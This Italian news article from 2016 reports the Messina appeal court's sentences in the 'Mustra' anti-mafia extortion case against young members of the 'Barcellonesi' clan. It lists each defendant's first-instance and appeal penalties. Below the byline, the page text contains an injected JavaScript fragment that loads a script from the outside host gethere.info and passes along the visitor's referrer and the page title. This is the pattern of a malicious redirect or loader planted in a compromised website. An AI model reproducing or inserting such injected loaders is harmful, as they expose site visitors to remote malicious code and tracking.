Op. “Mustra”: Le nuove leve del clan dei “Barcellonesi”. In appello condanne quasi tutte confermate

op-mustra-cartello-blitz

La Corte d’Appello di Messina ha quasi del tutto confermato, aumentandole in alcuni casi e con due sole riduzioni, le condanne inflitte in primo grado per l’operazione “MUSTRA” (foto in alto il cartellone del blitz scattato il 20 aprile 2012), messa a segno dai carabinieri del Ros e della Compagnia di Barcellona, debellando l’ascesa delle nuove leve del clan dei “Barcellonesi” per il territorio di Terme Vigliatore e hinterland…

La Corte d’Appello di Messina ha quasi del tutto confermato, aumentandole in alcuni casi e con due sole riduzioni, le condanne inflitte in primo grado dell’operazione “Mustra”. Nel dettaglio, inflitti 5 anni di reclusione a Vincenzo Campisi; 10 anni a Salvatore Foti; 10 anni e 6 mesi a Carmelo Maio. Pena pesantemente aggravata quella inflitta ad Antonino Vaccaro Notte: dai 4 anni del primo grado a 7 anni e 8 mesi in appello. Hanno riportato condanne lievemente più alte, 3 anni ciascuno, Stefano Puliafito, Salvatore Puliafito, Santo Puliafito e Antonino Aliquò. Infine, 1 anno e 6 mesi di reclusione ad Antonino Mazzeo.

PRIMO GRADO

Dieci condanne ed una assoluzione erano state decise, il 13 luglio 2015, nell’ambito del processo di primo grado, con il rito ordinario, relativo all’operazione “Mustra” che, il 20 aprile 2012, sfociò nel blitz, messo a segno dai carabinieri del Ros e della Compagnia di Barcellona Pozzo di Gotto, debellando l’ascesa delle nuove leve del clan dei “Barcellonesi” per il territorio di Terme Vigliatore e hinterland. Da qui è nato, dopo meno di due anni, il pentimento di Salvatore Campisi, considerato il leader del gruppo degli emergenti, che ha riempito pagine e pagine di verbali, coinvolgendo gli stessi compagni di avventura. Nella “Mustra” le accuse sono state di estorsione e minacce, in alcuni casi con l’aggravante di avere agito con il metodo mafioso (art. 7). Da qui le diverse decisioni adottate dal tribunale di Barcellona dove il processo si è concluso per il primo giudizio. Ecco lo schema con il nome degli imputati e la sentenza loro inflitta, in primo grado e in appello:

SALVATORE FOTI (di Barcellona, figlio del noto Carmelo Vito Foti, del clan dei “Barcellonesi): 9 ANNI E 10 MESI. IN APPELLO 10 ANNI;

CARMELO MAIO (di Rodì Milici): 10 ANNI E 4 MESI. In APPELLO: 10 ANNI E 6 MESI. Il giovane è stato condannato all’ergastolo in primo grado, in un altro procedimento, per l’omicidio di Ignazio Artino, ucciso a Mazzarrà Sant’Andrea il 12 aprile 2011;

ANTONINO VACCARO NOTTE (di Barcellona): 4 ANNI +4.000 EURO DI MULTA. IN APPELLO 7 ANNI E 8 MESI;

VINCENZO CAMPISI (di Terme Vigliatore, fratello del pentito Salvatore): 9 ANNI; IN APPELLO: 5 ANNI;

ANTONINO MAZZEO (di Barcellona, titolare di una sala giochi a Terme Vigliatore): 3 ANNI E 6 MESI+3.500 EURO DI MULTA. IN APPELLO: 1 ANNO E 6 MESI;

STEFANO PULIAFITO (di Barcellona): 2 ANNI E 6 MESI. IN APPELLO: 3 ANNI;

SALVATORE PULIAFITO (di Barcellona): 2 ANNI E 6 MESI. IN APPELLO: 3 ANNI;

SANTO PULIAFITO (di Barcellona): 2 ANNI E 6 MESI. IN APPELLO: 3 ANNI;

ANTONINO ALIQUO’ (di Barcellona): 2 ANNI E 6 MESI. IN APPELLO: 3 ANNI.

Tutti gli imputati sono stati condannati a pagare una provvisionale di 10.000 euro per ciascuna delle undici parti civili costituite tra le quali figurano gli imprenditori di Terme Vigliatore vittime del racket, la Fai (Federazione antiracket italiana) e l’associazione antiracket “Fonte di libertà” di Terme Vigliatore. Costituiti parte civile anche i comuni di Barcellona Pozzo di Gotto e Terme Vigliatore. Hanno difeso gli avvocati: Tommaso Calderone, Giuseppe Lo Presti, Gaetano Pino, Francesco Aurelio Chillemi, Tindaro Grasso, Tino Celi, Massimo Alosi, Alessandro Imbruglia.

Nell’operazione “Mustra” era coinvolto anche Nunziato Siracusa, di Terme Vigliatore, nel febbraio 2014 condannato a 10 anni con sentenza diventata definitiva e che si è pentito da oltre un anno. Era indagato anche Giovanni Perdichizzi, considerato il capo dell’ala del clan “San Giovanni” di Barcellona per il controllo delle estorsioni, ucciso nella città del Longano la sera di Capodanno del 2013.

         Giuseppe Lazzaro

Edited by, martedì 11 ottobre 2016, ore 15,53.
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

(Visited 712 times, 1 visits today)